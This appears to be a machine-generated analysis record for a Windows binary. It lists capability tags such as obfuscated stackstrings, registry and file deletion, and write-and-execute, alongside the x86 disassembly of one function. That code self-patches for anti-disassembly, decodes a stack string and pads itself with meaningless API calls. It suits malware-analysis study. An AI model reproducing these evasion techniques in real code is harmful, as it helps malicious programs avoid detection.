Function at 0xaa0000
Capabilities:
Accept command line arguments
Clear file content
Contain obfuscated stackstrings
Create pipe
Delete file
Delete registry key
Delete registry value
Enumerate files on windows
Enumerate gui resources
Get common file path
Get geographical location
Get graphical window text
Get keyboard layout
Query environment variable
Query or enumerate registry value
Read file via mapping
Set thread local storage value
Terminate process
Write and execute a file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
mov dword [ebp - 0x10], 0xaa0fcc
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
cmp eax, 0xe9
jne 0xaa0039
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0
mov dword [ebp - 0x20], 0xaa0219
mov eax, dword [ebp - 0x10]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x14], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jae 0xaa00bb
call fcn.0047e6b2
cdq
push 0xf
pop ecx
idiv ecx
add edx, 0xa
mov byte [ebp - 1], dl
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
cmp eax, dword [ebp - 0x14]
jb 0xaa007d
mov eax, dword [ebp - 0x14]
sub eax, dword [ebp - 0xc]
mov byte [ebp - 1], al
jmp 0xaa0097
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0x14]
sub ecx, eax
cmp ecx, 2
jae 0xaa0097
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov byte [ebp - 1], al
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0xc]
mov byte [eax], 0xeb
movzx eax, byte [ebp - 1]
dec eax
dec eax
mov ecx, dword [ebp - 0x20]
add ecx, dword [ebp - 0xc]
mov byte [ecx + 1], al
movzx eax, byte [ebp - 1]
add eax, dword [ebp - 0xc]
mov dword [ebp - 0xc], eax
jmp 0xaa004d
mov byte [ebp - 0x80], 2
mov byte [ebp - 0x7f], 0x6f
mov byte [ebp - 0x7e], 3
mov byte [ebp - 0x7d], 0x23
mov byte [ebp - 0x7c], 8
mov byte [ebp - 0x7b], 0x75
mov byte [ebp - 0x7a], 0x23
mov byte [ebp - 0x79], 0xea
mov byte [ebp - 0x78], 0x3a
mov byte [ebp - 0x77], 0xd0
mov byte [ebp - 0x76], 0x2d
mov byte [ebp - 0x75], 0xa8
mov byte [ebp - 0x74], 0xb4
mov byte [ebp - 0x73], 0x89
mov byte [ebp - 0x72], 0xd4
mov byte [ebp - 0x71], 0x83
mov byte [ebp - 0x70], 0xf4
mov byte [ebp - 0x6f], 0x95
mov byte [ebp - 0x6e], 0x85
mov byte [ebp - 0x6d], 0x31
mov byte [ebp - 0x6c], 0xe7
mov byte [ebp - 0x6b], 4
mov byte [ebp - 0x6a], 0xa2
mov byte [ebp - 0x69], 0xdb
mov byte [ebp - 0x68], 0x23
mov byte [ebp - 0x67], 0xe0
mov byte [ebp - 0x66], 0x9c
mov byte [ebp - 0x65], 0x7f
mov byte [ebp - 0x64], 0xc0
mov byte [ebp - 0x63], 0xb3
mov byte [ebp - 0x62], 0x67
mov byte [ebp - 0x61], 0x93
mov byte [ebp - 0x60], 0x69
mov byte [ebp - 0x5f], 0x4a
mov byte [ebp - 0x5e], 0x2b
mov byte [ebp - 0x5d], 0xeb
mov byte [ebp - 0x5c], 0xb2
mov byte [ebp - 0x5b], 0xb9
mov byte [ebp - 0x5a], 0x3d
mov byte [ebp - 0x59], 0xdc
mov byte [ebp - 0x58], 0xac
mov byte [ebp - 0x57], 9
mov byte [ebp - 0x56], 0x70
mov byte [ebp - 0x55], 4
mov byte [ebp - 0x54], 0x80
mov byte [ebp - 0x53], 7
mov byte [ebp - 0x52], 0x6c
mov byte [ebp - 0x51], 5
mov byte [ebp - 0x50], 0x76
mov byte [ebp - 0x4f], 6
mov byte [ebp - 0x4e], 0x7d
mov byte [ebp - 0x4d], 1
mov byte [ebp - 0x4c], 0x86
mov byte [ebp - 0x4b], 0
mov byte [ebp - 0x4a], 0x85
and dword [ebp - 8], 0
and dword [ebp - 0x24], 0
jmp 0xaa01a9
mov eax, dword [ebp - 8]
inc eax
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x37
jae 0xaa020e
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x80]
lea eax, [eax + eax + 2]
cmp dword [ebp - 8], eax
jne 0xaa01d5
mov dword [ebp - 0x24], 0x23
mov eax, dword [ebp - 8]
add eax, 0x21
mov dword [ebp - 8], eax
jmp 0xaa01a1
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x7f]
sub eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x24]
lea eax, [eax + ecx - 1]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
jge 0xaa01fd
mov eax, dword [ebp - 0x18]
add eax, 0x100
mov dword [ebp - 0x18], eax
jmp 0xaa01ea
mov eax, dword [ebp - 8]
movzx eax, byte [ebp + eax - 0x80]
mov cl, byte [ebp - 0x18]
mov byte [ebp + eax - 0x30], cl
jmp 0xaa01a1
xor eax, eax
inc eax
imul eax, eax, 0xa
mov byte [ebp + eax - 0x30], 0
push 0
push 0xa94aaa
lea eax, [ebp - 0x30]
push eax
lea ecx, [ebp - 0x48]
call fcn.004082a2
mov ecx, eax
call fcn.00403400
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x48]
call fcn.004033a4
and dword [ebp - 0x1c], 0
jmp 0xaa0251
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0xb
jae 0xaa0261
mov eax, dword [ebp - 0x1c]
mov byte [ebp + eax - 0x30], 0
jmp 0xaa024a
push 0x5e3
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
push 0
push 0x11fa
push 0
call dword [sym.imp.GDI32.dll_GetRegionData]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_IsZoomed]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SelectClipRgn]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetParent]
push 0xf6d
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_RedrawWindow]
push 0x141b
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_Polyline]
push 0
push 0x801
push 0
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_UnionRect]
call dword [sym.imp.USER32.dll_GetMessageTime]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRect]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetMenu]
push 0
push 0
call dword [sym.imp.GDI32.dll_CopyEnhMetaFileA]
push 0
push 0x272
push 0x2357
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetWindowOrgEx]
push 0
push 0
call dword [sym.imp.USER32.dll_UnregisterClassA]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_DeleteDC]
push 0
push 0x17ff
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPointW]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push 0x214b
push 1
push 0x497
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0
push 0x1619
push 0x1af9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetSystemPaletteEntries]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetPropA]
push 0
push 0x5b3
push 0xd5a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharABCWidthsFloatA]
push 0x1055
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CombineRgn]
push 0
push 4
push 0x191e
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharWidth32A]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
push 0x168d
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalLock]
push 0x8c4
call dword [sym.imp.USER32.dll_GetQueueStatus]
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
push 0x17e8
push 0xfe0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
push 0x8b4
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetSystemMenu]
push 0x1799
push 0x7f
push 0
push 0
push 0x72a
push 0x140b
call dword [sym.imp.USER32.dll_ToUnicode]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EndDoc]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0x146d
push 0
push 0x1f3c
push 0xce9
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtFloodFill]
push 0
push 0
push 0
push 0
push 0x58a
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0
push 0x1f9c
call dword [sym.imp.GDI32.dll_SetWinMetaFileBits]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RectVisible]
push 0
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetBkColor]
push 0x7b5
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDlgItem]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAdjustment]
push 0x2233
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
push 0x19a1
push 0x43e
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CreateCaret]
push 0
call dword [sym.imp.USER32.dll_SetKeyboardState]
push 0x6f8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push 0x2446
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetPolyFillMode]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
push 0
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommTimeouts]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push 0x15dd
push 0
push 0
push 0x43
push 0x247
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDIBits]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
push 0xa01
push 0
push 0
push 0x14e
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
push 0x18d1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RestoreDC]
push 0x377
push 0
push 0x10e1
push 0
push 0x1907
push 0x16a9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndDialog]
push 0
push 0
call dword [sym.imp.GDI32.dll_GetRgnBox]
push 0
call dword [sym.imp.USER32.dll_DestroyAcceleratorTable]
push 0x204
push 0x75a
push 0
call dword [sym.imp.USER32.dll_CheckMenuItem]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_FlashWindow]
push 0x24c2
push 0x22ce
push 0
call dword [sym.imp.GDI32.dll_PtInRegion]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
call dword [sym.imp.KERNEL32.dll_GetACP]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
push 0
push 0x1b58
push 0
push 0xad7
push 0x27e
call dword [sym.imp.GDI32.dll_ExtCreatePen]
push 0x1b51
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowLongA]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateHalftonePalette]
push 0xe50
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push 0
push 0x12f3
push 0
call dword [sym.imp.GDI32.dll_GetBitmapBits]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_RealizePalette]
push 0x22cd
push 0x112d
push 0
call dword [sym.imp.USER32.dll_InflateRect]
push 0
push 0
push 0x141d
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push 0x2233
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0
push 0x14a4
push 0x80b
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetDIBColorTable]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
push 0
push 0x4f3
push 0x1334
push 0
push 0x100
push 0x7c0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0x12a6
call dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0
push 0x1959
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetTimer]
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
push 0x257a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetLayout]
push 0x17ea
push 0
push 0
call dword [sym.imp.GDI32.dll_TranslateCharsetInfo]
push 0
push 0
push 0x1357
push 0
push 0x198c
push 0
push 0x1c9e
push 0x545
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
push 0x1e48
call dword [sym.imp.USER32.dll_GetSysColor]
push 0x1c65
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push 0
push 0xa78
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetScrollInfo]
push 0
call dword [sym.imp.USER32.dll_SetCursor]
push 0
call dword [sym.imp.USER32.dll_DestroyMenu]
push 0x1e9e
push 0x1235
push 0x1cc6
push 0x2f3
push 0x1916
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x790
push 0x4b6
push 0x1125
push 0x136c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_StretchBlt]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_SetTextColor]
push 0x24e8
push 0
push 0x16bd
push 0
push 0x1c6a
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringW]
push 0x314
push 0xf1d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowLongA]
push 0
push 0
push 0x13fe
push 0
call dword [sym.imp.USER32.dll_AppendMenuA]
push 0x21b4
push 0x2461
push 0
call dword [sym.imp.USER32.dll_EnableMenuItem]
push 0x1d59
push 0x2303
push 0
call dword [sym.imp.USER32.dll_CheckMenuItem]
push 0
push 0
push 0x1f8a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_PostMessageA]
push 0
call dword [sym.imp.GDI32.dll_CreatePenIndirect]
push 0
push 0
call dword [sym.imp.GDI32.dll_RectInRegion]
push 1
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EnableWindow]
push 0xe97
push 0
push 0xa45
push 0x1bed
call dword [sym.imp.USER32.dll_SystemParametersInfoW]
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemTimeAsFileTime]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EndPage]
push 0
push 0x1df0
push 0
push 0
push 0xd8a
push 0x1868
call dword [sym.imp.USER32.dll_ToAsciiEx]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DestroyWindow]
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_PlayEnhMetaFile]
push 0
push 0x1d12
push 0
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 0
push 0x257c
push 0
call dword [sym.imp.GDI32.dll_ExtCreateRegion]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_KillTimer]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 0
call dword [sym.imp.KERNEL32.dll_LocalFree]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ReleaseDC]
push 0x23f2
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
push 0x28d
push 0x235d
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
push 0x2661
push 0x237a
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CheckDlgButton]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x1179
push 0x222b
push 0xf03
push 0x22ed
push 0
call dword [sym.imp.USER32.dll_CheckMenuRadioItem]
push 0
call dword [sym.imp.ole32.dll_CoTaskMemFree]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.USER32.dll_DrawFocusRect]
push 0x889
push 0
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
call dword [sym.imp.USER32.dll_DestroyCaret]
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ValidateRgn]
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
push 0x24d4
push 0x2144
call dword [sym.imp.KERNEL32.dll_Beep]
push 0x709
push 0x11d8
push 0x4f6
push 0x204d
push 0
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
push 0
call dword [sym.imp.USER32.dll_RegisterClassW]
push 0
push 0xd85
push 0x2be
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetCharABCWidthsW]
push 0x20f5
push 0x24d3
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CloseEnhMetaFile]
push 0x1643
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push 0
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
call dword [sym.imp.USER32.dll_CreateMenu]
push 0x194f
push 0x70a
push 0xeda
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
push 0x2196
push 0x254b
push 0x1750
push 0x288
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ShowCaret]
push 0
push 0x15e1
call dword [sym.imp.KERNEL32.dll_GetCPInfo]
push 0x140d
call dword [sym.imp.KERNEL32.dll_ExitProcess]